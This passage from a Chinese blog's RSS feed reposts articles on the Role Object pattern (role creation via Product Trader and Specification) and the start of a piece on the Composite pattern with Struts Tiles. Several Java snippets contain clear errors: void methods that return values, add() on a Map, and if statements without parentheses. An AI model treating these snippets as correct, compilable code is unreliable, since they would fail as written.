												<p>2． 角色对象删除：角色对象的删除是一个标准的垃圾收集问题。某一个客户代码应当无法删除一个角色对象，因为它不知道是否还有其他客户在使用这个角色对象。</p>
												<p>3． 角色对象的管理：为了让一个核心对象能够管理它的角色，Component接口声明了一个角色管理协议，其中包括对角色对象的增加、删除、测试和查询。为了支持该接口协议，核心对象维护了一个Map,其中由角色的Specification映像到具体地角色实例。</p>
												<p>下面是一个简单的例子：</p>
												<p>public interface Partner {</p>
												<p>public String getAddress();</p>
												<p>public void addRole(String roleName);</p>
												<p>public boolean hasRole(String roleName);</p>
												<p>public void removeRole(String roleName);</p>
												<p>public PartnerRole getRole(String roleName);</p>
												<p>}</p>
												<p>
												</p>
												<p>class PartnerCore implements Partner {</p>
												<p>String address;</p>
												<p>private Map roleMap = new HashMap();</p>
												<p>public String getAddress() {</p>
												<p>return address;</p>
												<p>}</p>
												<p>public void addRole(String roleName) {</p>
												<p>PartnerRole aRole = CustomerRole.createFor(roleName,this);</p>
												<p>if (aRole!= null)</p>
												<p>roleMap.add (aRole);</p>
												<p>}</p>
												<p>public boolean hasRole(String roleName) {</p>
												<p>return roleMap.containsKey(roleName);</p>
												<p>}</p>
												<p>public void removeRole(String roleName) {</p>
												<p>if hasRole(roleName) {</p>
												<p>roleMap.remove(roleName);</p>
												<p>}</p>
												<p>}</p>
												<p>public PartnerRole getRole(String roleName) {</p>
												<p>if hasRole(roleName) {</p>
												<p>return (PartnerRole) roleMap.get(roleName);</p>
												<p>} else {</p>
												<p>return null;</p>
												<p>}</p>
												<p>}</p>
												<p>}</p>
												<p>在这里，我们使用roleName作为Specification,角色的Specification和实际的Role实例之间的映象用一个Map来实现。</p>
												<p>现在我们定义一个PartnerRole抽象类：</p>
												<p>abstract class PartnerRole implements Partner {</p>
												<p>private PartnerCore core;</p>
												<p>public String getAddress() {</p>
												<p>return core.getAddress();</p>
												<p>}</p>
												<p>public void addRole(String roleName) {</p>
												<p>core.addRole(roleName);</p>
												<p>}</p>
												<p>public static void createFor(String roleName, PartnerCore core) {</p>
												<p>Creator creator = lookup(roleName);</p>
												<p>if (creator == null) {</p>
												<p>return null;</p>
												<p>}</p>
												<p>PartnerRole aRole = creator.create();</p>
												<p>if (aRole != null)</p>
												<p>aRole.core = core;</p>
												<p>return aRole;</p>
												<p>}</p>
												<p>}</p>
												<p>这里有几点需要注意，PartnerRole是一个抽象的类，它不能被实例化，对所有角色都通用的操作以及角色管理协议操作均被重新定向到core。在这里PartnerRole最有意义的操作是它的静态方法createFor，注意createFor的格式，它的第二个参数是一个ComponentCore而不是更通用的Component接口，因此我们就限制了一个ComponetRole不会担当ComponentCore的责任。</p>
												<p>接下去需要实现具体的Role对象，譬如说我们的Customer,Supplier:</p>
												<p>public class Customer extends PartnerRole {</p>
												<p>public Money getCredit() {</p>
												<p>…….</p>
												<p>}</p>
												<p>}</p>
												<p>
												</p>
												<p>public class Supplier extends PartnerRole {</p>
												<p>public void schedule() {</p>
												<p>…..</p>
												<p>}</p>
												<p>}</p>
												<p>
												</p>
												<p>下面是用户可能的使用方法：</p>
												<p>
												</p>
												<p>Partner aPartner = Database.load(“North Bell”);</p>
												<p>Customer aCustomer = (Customer)aPartner.getRole(“Customer”);</p>
												<p>if (aCustomer != null) {</p>
												<p>Money credit = aCustomer.getCredit();</p>
												<p>….</p>
												<p>}</p>
												<p>这里在获得特定的角色之后需要进行强制的类型转化。</p>
												<p>
												</p>
												<p>本文从介绍Role Object的动机开始，逐渐深入到它的原理、组成、优缺点和基本实现，并给出了一个基本的实现。Role Object的应用和实现在许多方面都需要进行扩展，包括如何使用Specification模式管理Role,应用Product Trader模式创建Role，以及如何处理Role之间的相互约束问题。同时，Role Object实现Role概念的一种方法，我将在后续的文章中继续本文的内容，提供更为深入和广泛的讨论和研究。欢迎建议。</p>
												<p>
												</p>
												<p>关于作者<br />石一楹是一个专注于面向对象领域的系统设计师。目前的工作是国内一家ERP公司的CTO.他住在浙江杭州，有一个两个月的女儿。</p>
										</td>
								</tr>
						</tbody>
				</table>
		</div>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/8427.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-03-31 13:56 <a href="http://www.cnitblog.com/weitom1982/archive/2006/03/31/8427.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Role分析模式（二）角色对象创建和管理 </title><link>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8428.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Fri, 31 Mar 2006 05:56:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8428.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/8428.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8428.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/8428.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/8428.html</trackback:ping><description><![CDATA[
		<div class="postTitle">
				<a href="http://blog.tomxp.com/view/249.html#">
						<font color="#002c99">
						</font>
				</a> </div>
		<div class="postText">
				<table cellspacing="0" cellpadding="0" align="center" border="0">
						<tbody>
								<tr>
										<td class="title" valign="center" align="middle" height="56">
												<b>
														<font color="#ff0000" size="3">Role分析模式（二）角色对象创建和管理<!-- #EndEditable --></font>
												</b>
										</td>
								</tr>
								<tr>
										<td class="formtitle" align="middle" height="40">
												<!-- #BeginEditable "2" -->来自BBS水木清华站∶精华区<!-- #EndEditable --></td>
								</tr>
						</tbody>
				</table>
				<table height="73" cellspacing="0" cellpadding="0" align="center" border="0">
						<tbody>
								<tr>
										<td class="content">
												<!-- #BeginEditable "3" -->
												<p class="content"> </p>
												<p class="content">概要<br />Role Object（一）提出对解决Role问题的基本方法，但是我们还有许多问题需要深入，这些问题包括如何创建具体的Role实例，如何管理这些角色并实现角色之间的约束。 <br />By 石一楹</p>
												<p>本文从《ERP之道》www.erptao.org转载</p>
												<p>======================================================================================</p>
												<p>Role Object提出了对解决Role问题的基本方法，但是我们还有许多问题需要深入，其中的一个问题是如何创建具体的Role实例。</p>
												<p>动机</p>
												<p>对Role的创建有几个基本的需求。前面我们使用角色的名字作为Specification来创建Role.譬如我们用字符串”Customer”作为Specification来创建Customer这个具体的Role对象。在大多数情况下，这样做可能就足够了，但是有时候确不行。</p>
												<p>假设我们有一个核心的抽象叫做Person。我们知道Person可以是员工，所以有一个叫”Employee”的角色。但是可能有不同类型的员工，如销售人员、开发人员等等。所以一般Employee会建模为一个接口，而由Employee的子类来实现具体的角色。当一个客户应用需要知道一个人的工资时，它从核心去获取一个”Employee”的角色，但是现在把它作为类型的名字显然不适合，因为实际的角色可能具有的名字是”Salesman”,”Developer”等等。</p>
												<p>这个关于Specification的问题同样出现在对角色的管理过程，如果单独使用一个类名字不能建立或者获取到一个具体的Role，那么整个管理协议都适应这个Specification进行，而不是单独把类名字当作Key进行管理。</p>
												<p>创建过程</p>
												<p>对于创建过程来说，我们所要解决的核心问题是需要一个类，当我们向这个类提出某些需求或标准的时候，这个类就会返回满足我们需求的具体对象实例，这种满足可能具有层次关系、或者是其它的关系。</p>
												<p>所以，有两个问题，一个是如何表达这个Specification，另一个问题是由谁来做这个中间类，我们是需要重新定义一个，还是使用原来就有的ComponentRole.我们怎样能够这个中间类的使用可以让用户对这个创建过程不可见。</p>
												<p>我们对设计模式的认识显然排除了那种使用一个大case的可能性，这样的代码在我们需要动态加入一个角色的时候无能为力。工厂方法看起来适合我们的基本需求，但是你很快就发现我们上面的例子中对任何一个“Employee”，它只能返回一种类型的角色。</p>
												<p>幸好，解决方案是存在的，我们有一个模式叫做Product Trader,下面是它的原理图：</p>
												<p>
														<img height="311" src="http://www.uml.org.cn/sjms/images/rolepattern2-0.gif" width="502" />
												</p>
												<p>
												</p>
												<p>在上面的图中，客户负责为每一个具体的产品类建立一个Specification,然后为ProductTrader提供这一</p>
												<p>
														<img height="348" src="http://www.uml.org.cn/sjms/images/rolepattern2-1.gif" width="471" />
												</p>
												<p>在上面的图中，客户负责为每一个具体的产品类建立一个Specification,然后为ProductTrader提供这一个Specification,Product是一个抽象的接口，它定义了需要实例化的子类的操作。Product Trader这个类则实现了从Specification到一个具体的Creator的映射。并且提供各种操作来管理这个映射关系。这里的映射关系可以是一个非常简单的HashMap或者是一个具有完备功能的中间对象trader.现在如何创建的任务落到了Creator上，Creator知道如何实例化一个具体的产品。Specification是一个表达满足关系的抽象，我们可以看到最简单的例子是一个字符串，可能是一个层次关系或者最复杂的情况下可能是一个需要经过很多计算的公式。它的目的是作为一个关键字搜索到具体的Creator.下面是具体的序列图：</p>
												<p>
												</p>
												<p>针对我们的Role Object,可以看到ProductTrader的责任由ComponentRole来承担，而每一个具体的Role则是在上图中的ConcreteProduct.而客户实际上是Role Object中的ComponentCore.</p>
												<p>为什么使用ProductTrader能够使得我们的角色对象可以被更好地创建呢？</p>
												<p>首先，ProductTrader如同其它的创建性设计模式(Factory Method等)，可以使得客户独立于具体的产品类。也就是使得ComponentCore独立于具体的Role.应用ProductTrader使得ComponentCore完全独立于具体Role的类层次。ComponentCore只需使用某一特定的Specification调用ComponentRole的createFor方法，由ComponentRole来做具体的创建。</p>
												<p>其次，具体的角色类可以在运行时决定。ProductTrader的应用可以让ComponentRole在运行时把某些范围或者条件转化为一个Specification,然后使用这样一个Specification进行具体角色类的搜索。因此，你可以具有可变的运行时才决定的角色创建过程。这个优点带来的最直接的后果就是，你可以进行方便的配置，你可以任意增加、删除特定的角色，只要你通过ComponentRole的方法增加、替换及删除相应的Creator即可。这些Creator可以按照Specification搜索特定的角色类。</p>
												<p>我们引入ProductTrader的一个最重要的原因是它可以让你轻松地加入具体角色的类层次。由于ComponentCore成功地和具体角色的类层次、类名字、层次结构和实现策略分离，所以对上述内容的改变不会影响到ComponentCore创建具体角色的接口和方法。</p>
												<p>能够很好地配置以及改变具体角色类层次使得加入和删除一个具体的角色类变得什么简单，我们不需要修改任何存在的代码，只要对配置文件或脚本修改即可。</p>
												<p>
														<br />实现的考虑</p>
												<p>在角色对象中应用ProductTrader需要考虑四个主要的问题，他们包括： l 如何实现从Specification到Creator的映射</p>
												<p>我们需要在一个ProductTrader中维护一个Specification、Creator和它们之间的一个映射关系。</p>
												<p>l 如何实现Creator</p>
												<p>有很多设计模式可以用来处理这样的麻烦，我们耳熟能详的就有prototype、类对象等等。总而言之，无论用何种方法，你都不会希望每次增加一个新的角色，都需要手工去建立一个Creator。所以，对于Creator的要求就是这个类里面由一种机制可以直接创建一个角色实例. </p>
												<p>
														<br />class Creator {</p>
												<p>public Creator(Specification aSpec) {</p>
												<p>aSpecification =aSpec;</p>
												<p>}</p>
												<p>public Specification getSpecification() { </p>
												<p>return aSpecification; </p>
												<p>}</p>
												<p>public ComponentRole create() ;</p>
												<p>private Specification aSpec;</p>
												<p>}</p>
												<p>
														<br />class ConcreteCreator extends Creator {</p>
												<p>private class concreteRoleType;</p>
												<p>public ConcreteRole(class concreteRoleType,Specification spec) {</p>
												<p>super(spec);</p>
												<p>this.concreteRoleType = concreteRoleType;</p>
												<p>}</p>
												<p>public ComponentRole create() {</p>
												<p>return new concreteRoleType.newInstance();</p>
												<p>}</p>
												<p>}</p>
												<p>这个Creator相当简单，注意其实在第一个抽象类Creator中，Specification的实例应当放在ComponentRole抽象类里面用于映射到某个Creator，但是我们处于管理方面的目的，在这里加入了这个成员，你可以在后面看到。</p>
												<p>其次，要注意的是，如果使用象C++一样的template，我们可以做到类型检查，但是在这里所有的Specification是抽象的Specification,而具体的Creator生成的是ComponentRole而不是ConcreteRole.</p>
												<p>再仔细看一下这个Creator，你会发现create过程没有参数，某些时候，你可能需要其它的创建参数，那么也许你要通过反射得到concreteRoleType这个class中符合你参数的构建方法，然后用你的参数进行创建，而不是直接使用newInstance().当然，前提是在create方法中假如你的参数。</p>
												<p>l 如何实现Specification</p>
												<p>Specification可以使用某些原语类型来实现，如String代表Class name.当然，复杂的情况需要使用一个自有的对象。如果使用一个专门的接口而并非简单的字符串，Specification的接口看起来如下：</p>
												<p>
														<br />public interface Specification {</p>
												<p>public void newFormClient(Object anObject);</p>
												<p>public void newFromManager();</p>
												<p>public void adaptTo();</p>
												<p>public boolean matches(Specification spec);</p>
												<p>}</p>
												<p>
												</p>
												<p>这些接口需要由具体的Specification来实现，其中getRoleClass得到为该Specification对应的Role Class. Matches用于判断两个specification之间的匹配性。NewFromClient则由客户使用。它可以创建一个Specification然后交给ProductTrader. 而adaptTo方法用于把某一个具体的specification和该roleClass相对应，它由ComponentRole使用，ComponentRole通过该方法直接从roleClass中获取到建立Specification所需要的信息。</p>
												<p>Specification中newFromManager可以直接缺省实现为adaptTo即可，matches可以实现为相等。我喜欢使用的方法之一先定义接口，然后实现一个abstract类：</p>
												<p>public abstract class AbstractSpecification implements {</p>
												<p>public void newFormClient(Object anObject);</p>
												<p>public void newFromManager() {</p>
												<p>adaptTo();</p>
												<p>}</p>
												<p>public void adaptTo();</p>
												<p>public boolean matches(Specification spec) {</p>
												<p>getClass().equals(spec.getClass());</p>
												<p>}</p>
												<p>}</p>
												<p>这时候，我们可以实现ComponentRoleSpecification的如下：</p>
												<p>class ComponentRoleSpecification extends AbstractSpecification {</p>
												<p>private String roleType;</p>
												<p>//假设这里的表示方法是一个字符串roleType，你可以使用其它的如roleClass等等</p>
												<p>public void newFormClient(Object anObject) {</p>
												<p>roleType = (String)anObject;</p>
												<p>}</p>
												<p>public void newFromManager() {</p>
												<p>adaptTo();</p>
												<p>}</p>
												<p>//注意这里需要ComponentRole有一个静态的getRoleType方法</p>
												<p>public void adaptTo() {</p>
												<p>roleType = ComponentRole.getRoleType();</p>
												<p>}</p>
												<p>public boolean matches(Specification spec) {</p>
												<p>if (!(super.match(spec))</p>
												<p>return false;</p>
												<p>if (!(spec instanceOf ComponentRoleSpecification))</p>
												<p>return false;</p>
												<p>return roleType.equals( (ComponentRoleSpecification)spec.getRoleType());</p>
												<p>}</p>
												<p>public String getRoleType() {</p>
												<p>return roleType;</p>
												<p>}</p>
												<p>}</p>
												<p>最后的问题是ComponentRole如何建立映射，从而把一个Specification映射到一个Creator，这些方法包括addCreator(Creator),removeCreator(Creator),substitue(Creator),我们可以看到前面的Creator中包含了getSpecification这个方法，这是我们可以用如下代码：</p>
												<p>addCreator(Creator creator) {</p>
												<p>mapping.put(creator.getSpecification(), creator);</p>
												<p>}</p>
												<p>除了这些维护方法外，还需要有lookup,这个lookup仅仅就是通过一个Specification找到creator的过程，相当简单。</p>
												<p>ProductTrader模式的应用可能走得更远，它甚至可以用于整个应用系统的所有对象的创建，对ProductTrader的深入讨论可能会超出Role角色所需要的内容，如果读者需要进一步研究该模式，请参见PLOP3.</p>
												<p>Role角色管理</p>
												<p>在ComponentRole中，还需要管理那些角色，最重要的操作包括：</p>
												<p>hasRole(Spec)</p>
												<p>getRole(Spec)</p>
												<p>removeRole(Spec)</p>
												<p>addRole(Spec)</p>
												<p>我们看到，前面的match用于两个Specification之间的精确匹配，理由是我们用它来精确匹配对应的Creator。同时，我们看到，这固然解决了ComponentRole具有多层次的问题，但是却不能提供上面的这些管理接口所需要的所有操作。</p>
												<p>回忆一下我们在动机一节提出的问题：</p>
												<p>“假设我们有一个核心的抽象叫做Person。我们知道Person可以是员工，所以有一个叫”Employee”的角色。但是可能有不同类型的员工，如销售人员、开发人员等等。所以一般Employee会建模为一个接口，而由Employee的子类来实现具体的角色。当一个客户应用需要知道一个人的工资时，它从核心去获取一个”Employee”的角色，但是现在把它作为类型的名字显然不适合，因为实际的角色可能具有的名字是”Salesman”,”Developer”等等。“</p>
												<p>这里的问题是我们并不明确指定一个完全的对等关系，我们需要类层次中一样的概念，如果一个Salesman继承自Employee，那么所有Salesman的对象都是Employee，所以我们需要在Specification接口中加入两个新的操作，分别是：</p>
												<p>isSpecialCaseOf(Specification)和isGeneralizationOf(Specification).</p>
												<p>这时两个Specification之间可以比较。Specification B是Specification A的一个特殊情况当且仅当对于任何对象X,如果X满足A,那么X就满足B.从我们的角色对象来看，如果它所可能具有的任何一个角色的Specification是用户查询的Specification的一个特殊情况，那么该角色对象就具有用户指定Specification所代表的角色。IsGeneralizationOf则正好相反。</p>
												<p>在我们的角色对象中，每次用户通过一个addRole(Spec)加入一个角色对象，ComponentCore在自己维护的一个Map中包存了spec实例到ComponentRole的一个映射，当用户使用hasRole(spec)或getRole(sepc)进行查询时，我们可以遍历该Map，如果发现有某一个spec满足用户的参数，则可以返回。对getRole来讲，可能有两种情况，一种情况是找到一个即返回，另外一种情况则是返回所有满足Specification的角色。 </p>
												<p>
														<br />Role和Role之间的约束</p>
												<p>我们在一开始就讲到,Role Object很难处理具体Role之间具有约束的问题。这是由Role Object本身的特点所决定的。具体Role 之间没有相互的关联，他们不象Decroator一样一个指向一个，最后指向ComponentCore。</p>
												<p>如果Role具体对象之间的关系非常复杂，我们可能需要一个知识层(knowledge level)来处理Role之间的关系。我们在我以后讲到Party[待写]的时候看到，TAO BBC如何使用知识层和Role组合完成一个具有Role的Accountability模式。</p>
												<p>其实，我们的Specification也可以看作是一个知识层，对于某些约束，Role可以通过Specification来解决。Specification可以解决具体Role具有一个类层次的问题。那么我们可以递归使用Role Object模式来处理这样的约束。</p>
												<p>在实际应用中碰到最多的约束问题可能是，某一个对象的一个角色A可能是该对象能够充当其它角色的一个前提，在银行业务中，如果一个人希望充当贷款人、投资者，那么它首先必须是一个客户。</p>
												<p>
														<img height="436" src="http://www.uml.org.cn/sjms/images/rolepattern2-2.gif" width="488" />
												</p>
												<p>你可以看到，在上图中我们重复应用了Role Object模式，从而限制了一个Investor角色首先就必须是一个Customer角色，从而形成如下的对象链。</p>
												<p>
														<img height="102" src="http://www.uml.org.cn/sjms/images/rolepattern2-3.jpg" width="488" />
												</p>
												<p>
												</p>
												<p>Role的属性列表</p>
												<p>Role可能需要动态增加属性，并且处理这些属性之间相互约束，请参见专栏中的文章动态属性（属性列表）</p>
												<p>Role的存储</p>
												<p>我们在这里没有关心Role的实际存储，我们将Role设计成具体的存储无关，具体的存储方法可能需要另一个包装。譬如使用O/R mapping,或者EJB，我们需要实现对应的RoleEntity层次，然后把RoleEntity实现的行为分派到具体的Role模型。这是我们将在TAO J2EE模式研究中看到的课题。TAO BBC将使用这样的模式来实现具体的存储。</p>
												<p>
														<br />本文使用Product Trader模式和Specification模式讨论了Role的一些具体实现和管理问题。在下一篇文章中，我将描述实现Role的另一种方法。新的方法将采用类Decorator模式来处理Role，这种方式和Role Object各有自己的优缺点。</p>
										</td>
								</tr>
						</tbody>
				</table>
		</div>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/8428.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-03-31 13:56 <a href="http://www.cnitblog.com/weitom1982/archive/2006/03/31/8428.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java设计模式之复合模式篇 </title><link>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8425.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Fri, 31 Mar 2006 05:54:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8425.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/8425.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8425.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/8425.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/8425.html</trackback:ping><description><![CDATA[
		<div class="postTitle"> </div>
		<div class="postText">
				<table cellspacing="0" cellpadding="0" width="760" align="center" border="0">
						<tbody>
								<tr>
										<td class="title" valign="center" align="middle" height="56">
												<b>
														<font color="#ff0000" size="3">
																<span class="p16">Java设计模式之复合模式篇</span>
																<br />
																<!-- #EndEditable -->
														</font>
												</b>
										</td>
								</tr>
								<tr>
										<td class="formtitle" align="middle" height="40">
												<!-- #BeginEditable "2" -->作者：冯睿    本文选自：赛迪网  2003年01月21日<!-- #EndEditable --></td>
								</tr>
						</tbody>
				</table>
				<table height="73" cellspacing="0" cellpadding="0" width="760" align="center" border="0">
						<tbody>
								<tr>
										<td class="content">
												<!-- #BeginEditable "3" -->
												<p class="content"> </p>
												<span class="p11b">自从J2EE出现以来，就大大简化了在Java下的企业级开发。但是随着J2EE越来越普遍地被应用到各个领域中，开发者们渐渐意识到需要一种方法来标准化应用程序的开发过程，他们采用的方法是标准化应用程序的结构层。在结构层通常封装了一些独立于业务逻辑的复杂技术，以便在业务逻辑和底层的架构之间建立起弱连接。无可否认，J2EE是一个很成功的技术，它为一些基本的任务提供了一致的标准，例如数据库连接、分布式应用程序等。但是使用J2EE并不能保证开发人员开发出成功的应用程序。有些人认为J2EE本身就是一种框架技术，但是这种认识是不正确的，我们应该意识到J2EE并没有提供一个能够帮助开发人员开发出高质量应用程序的框架，因此很多有经验的开发人员通过利用设计模式来弥补这一缺陷。<br /><br />在开发人员的圈子中，大家通过相互交流在开发过程中所遇到的问题以及解决方法来丰富整个圈子的经验。而设计模式就是在这样的情况下产生的。一个设计模式必然是针对某个特定的问题的，这个问题的解决方案以及这样解决问题产生的后果。在本文中我将讨论复合模式的特点和它的应用。<br /><br /><center><font color="#000099"><strong>复合模式（Composite Patten）介绍</strong></font></center><br /><br />在介绍复合模式前，我们需要定义一下什么是复合对象（Composite Object）。复合对象是包含了其它对象的对象。例如，一幅图由一些基本的对象组成，例如线、圆、矩形和文本等，因此图就是复合对象。因为在Java中，开发人员操作基本对象的方式和操作复合对象的方式常常相同，因此需要利用到复合模式。例如，线或文本等基本图形对象都需要支持绘制、移动或缩放等功能；而图这种复合对象也需要支持相同的功能。在理想的情况下，我们希望对复合对象和基本对象以完全相同的方式完成这些操作，否则实现的代码将会产生不必要的复杂性，并且不易于维护和扩展。<br /><br />那么什么是复合模式呢？将对象组织到树结构中以表达部分整体的层次关系就实现了复合模式，它使程序能够以相同的方式对待基本对象和复合对象。<br /><br />在程序中实现复合模式并不难。复合类继承一个代表基本类型的基类就可以了。图1显示了一个表现复合模式思想的类图。<br /><br /><center><img height="289" src="http://www.uml.org.cn/sjms/79383.jpg" width="400" /></center><br /><br /><center>图1 复合模式的实现</center><br /><br />在图1中，Component是代表基本类型的基类（也可以是一个接口）；Composite是复合类。例如Component代表的是基本图形元素的基类，而Composite代表的是图；Operation1（）和Operation2（）方法分别是移动和缩放操作。图1中的Leaf类代表的是点、线或者圆等基本图形元素。<br /><br />针对Component类中的每个方法，Composite类都有相同名称的方法与之对应。Composite类保存了一个基本对象的集合。通常Composite类中的方法在实现时都会将集合中的对象遍历一次，然后调用每个对象中相应的方法。例如图对象Drawing的draw（）方法可能是这样实现的：<br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="550" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" bgcolor="#e6e6e6"><pre><ccid_code>
// 代码1一个复合方法
public void draw() {
   // I遍历所有的对象
   for(int i=0; i &lt; getComponentCount(); ++i) {
      // 获得对对象的应用，调用它的draw方法
      Component component = getComponent(i);
      component.draw();   
   }
}</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br />由于Composite类继承了Component类，因此你可以将一个Composite对象传递给需要Component对象作为参数的方法。例如：<br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="550" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" bgcolor="#e6e6e6"><pre><ccid_code>
// 代码2  repaint方法
public void repaint(Component component) {
   // 事实上component可能是一个复合对象，因此该方法没有区分基本对象和复合对象
   component.draw();
}</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br />上面的repaint（）方法中，Component对象被作为参数传递到了函数体，这个对象可以是Component，也可以是Composite。然后函数体中调用draw（）方法。由于Composte类继承了Component，程序就不用区分传入的参数到底是哪种类的实例，只需要调用该对象的draw（）方法就可以了。<br /><br />图1中的类图展示了复合模式的一个方面：开发人员必须在引用一个Component对象时必须区分它到底了一个Component对象还是一个Composite对象。通常开发人员可以在Component类中加入一个方法，例如isComposite（），来辨别Composite类。如果该方法返回的是True，开发人员就需要将Component对象强制转换为Compoiste对象。<br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="550" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" bgcolor="#e6e6e6"><pre><ccid_code>
// 代码3，区分Component和Composite
...
if(component.isComposite()) {
   Composite composite = (Composite)component;
   composite.addComponent(AComponent);
}
...</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br />图2显示了另一种实现复合模式的方法：<br /><br /><center><img height="335" src="http://www.uml.org.cn/sjms/79384.jpg" width="400" /></center><br /><br /><center>图2 另一种复合模式的实现方法</center><br /><br />在图2所示的复合模型中，开发人员不必区分Component对象和Composite对象，也不需要将Component对象强制转换Composited对象。这样代码3中的代码就变成了一行：<br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="550" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" bgcolor="#e6e6e6"><pre><ccid_code>
// 代码4，不区分Component和Composite
...
component.addComponent(AComponent);
...</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br />但是如果代码4中的component不是Composite的实例，addComponent（）方法会做些什么呢？这是图2中的复合模式中最重要的一部分。显然一个基本类型不可能包含其他基本类型或复合类型，Component.addComponent()可能什么也不干，或者抛出一个异常。通常我们认为将基本类型加入其他基本类型的操作是一个错误，因此抛出异常是开发人员最好的选择。</span>
												<p>
														<span class="p11b">那么这两种复合模式的实现方法哪一个更好呢？这是一个常常引起争论的问题。我个人觉得第二种方法更好一些，因为开发人员不必区分Component对象和Composite对象，也不用强制转换对象。<br /><br />使用复合模式的实际例子：Struct Tiles<br /><br />下面让我们来看一个复合模式应用用到Apache Struts JSP框架中的例子。在Apache Struts的框架中包含了一个被称为Tiles的JSP标签库，它是你能够将多个JSP组合成一个Web页面。事实上，它实现J2EE复合视图模式。在我们讨论复合模式和Tiles标签库的联系前，让我们先来看一个Tiles的例子。如果你对Struts已经非常熟悉了，你可以跳到"在Struts Tiles中使用复合模式"一节。<br /><br />通常一张网页是有几个区域构成的。例如图3中的网页包含了边栏、头、内容和角注四个部分。这四个部分在网页上的分布构成了布局。Struts Tiles使你能够重用单独的每个区域和布局。在我们讨论重用的问题之前，让我们来看看怎样用不同的方法实现图3中的网页。<br /><br /><center><img height="244" src="http://www.uml.org.cn/sjms/79385.jpg" width="400" /></center><br /><br /><center>图3 例子网页</center><br /><br /><b>1．手工实现布局</b><br /><br />下面是相应的HTML代码：<br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="550" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" bgcolor="#e6e6e6"><pre><ccid_code>
代码5 手工实现布局的HTML代码
&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"&gt;
&lt;%@ page contentType='text/html; charset=UTF-8' %&gt;
&lt;html&gt;
   &lt;head&gt;
      &lt;title&gt;Implementing Complex Layouts by Hand&lt;/title&gt;
   &lt;/head&gt;
   &lt;body background='graphics/blueAndWhiteBackground.gif'&gt;
      &lt;%-- One table lays out all of the content for this page --%&gt;
      &lt;table width='100%' height='100%'&gt;
         &lt;tr&gt;
            &lt;%-- Sidebar--%&gt;
            &lt;td width='150' valign='top' align='left'&gt;
               &lt;table&gt;
                  &lt;tr&gt;
                     &lt;%-- Sidebar top --%&gt;
                     &lt;td width='150' height='65' valign='top' align='left'&gt;
                        &lt;a href=''&gt;
                           &lt;img src='graphics/flags/britain_flag.gif'/&gt;&lt;/a&gt;
                        &lt;a href=''&gt;
                           &lt;img src='graphics/flags/german_flag.gif'/&gt;&lt;/a&gt;
                        &lt;a href=''&gt;
                           &lt;img src='graphics/flags/chinese_flag.gif'/&gt;&lt;/a&gt;
                     &lt;/td&gt;
                  &lt;/tr&gt;
                  &lt;tr&gt;
                     &lt;%-- Sidebar bottom --%&gt;
                     &lt;td&gt;
                        &lt;font size='5'&gt;Links&lt;/font&gt;&lt;p&gt;
                        &lt;a href=''&gt;Home&lt;/a&gt;&lt;br&gt;
                        &lt;a href=''&gt;Products&lt;/a&gt;&lt;br&gt;
                        &lt;a href=''&gt;Downloads&lt;/a&gt;&lt;br&gt;
                        &lt;a href=''&gt;White papers&lt;/a&gt;&lt;br&gt;
                        &lt;a href=''&gt;Contact us&lt;/a&gt;&lt;br&gt;
                     &lt;/td&gt;
                  &lt;/tr&gt;
               &lt;/table&gt;
            &lt;/td&gt;
            &lt;%-- Main content--%&gt;
            &lt;td valign='top' height='100%' width='*'&gt;
               &lt;table width='100%' height='100%'&gt;
                  &lt;tr&gt;
                     &lt;%-- Header--%&gt;
                     &lt;td valign='top' height='15%'&gt;
                        &lt;font size='6'&gt;Welcome to Sabreware, Inc.&lt;/font&gt;
                        &lt;hr&gt;
                     &lt;/td&gt;
                  &lt;tr&gt;
                 &lt;tr&gt;
                     &lt;%-- Content--%&gt;
                     &lt;td valign='top' height='*'&gt;
                        &lt;font size='4'&gt;Page-specific content goes here&lt;/font&gt;
                     &lt;/td&gt;
                  &lt;/tr&gt;
                  &lt;tr&gt;
                     &lt;%-- Footer--%&gt;
                     &lt;td valign='bottom' height='15%'&gt;
                        &lt;hr&gt;
